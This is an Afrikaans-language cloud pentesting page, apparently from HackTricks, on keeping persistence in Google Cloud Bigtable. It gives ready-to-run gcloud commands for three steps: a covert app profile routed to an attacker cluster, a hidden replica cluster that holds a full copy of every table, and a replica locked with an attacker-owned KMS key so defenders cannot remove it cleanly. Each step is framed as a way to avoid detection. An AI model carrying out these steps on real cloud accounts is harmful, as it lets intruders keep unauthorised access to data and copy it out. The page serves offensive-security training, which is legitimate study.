# GCP - Bigtable Persistensie

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Vir meer inligting oor Bigtable, sien:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### Toegewese aanvaller App Profile

**Permissies:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.

Skep 'n app profile wat verkeer na jou replica cluster lei en skakel Data Boost aan sodat jy nooit van provisioned nodes afhanklik is wat verdedigers dalk sal opmerk nie.

<details>

<summary>Skep onopgemerkte app profile</summary>
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"

gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
</details>

Solank hierdie profiel bestaan, kan jy weer koppel met vars credentials wat daarna verwys.

### Handhaaf jou eie replika-kluster

**Permissies:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.

Stel 'n kluster met 'n minimale aantal nodes in 'n rustige streek op. Selfs as jou client-identiteite verdwyn, **behou die kluster 'n volledige kopie van elke tabel** totdat verdedigers dit uitdruklik verwyder.

<details>

<summary>Skep replika-kluster</summary>
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
</details>

Hou dit dop via `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` sodat jy onmiddellik kan opskaal wanneer jy data moet trek.

### Vergrendel replikasie agter jou eie CMEK

**Permissies:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.

Gebruik jou eie KMS-sleutel wanneer jy 'n kloon opstart. Sonder daardie sleutel kan Google die cluster nie herskep of fail over nie, so blue teams moet met jou koördineer voordat hulle daaraan raak.

<details>

<summary>Skep CMEK-beskermde cluster</summary>
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
</details>

Draai of deaktiveer die sleutel in jou projek om die replica onmiddellik te brick (terwyl jy dit later steeds weer kan aanskakel).

{{#include ../../../banners/hacktricks-training.md}}
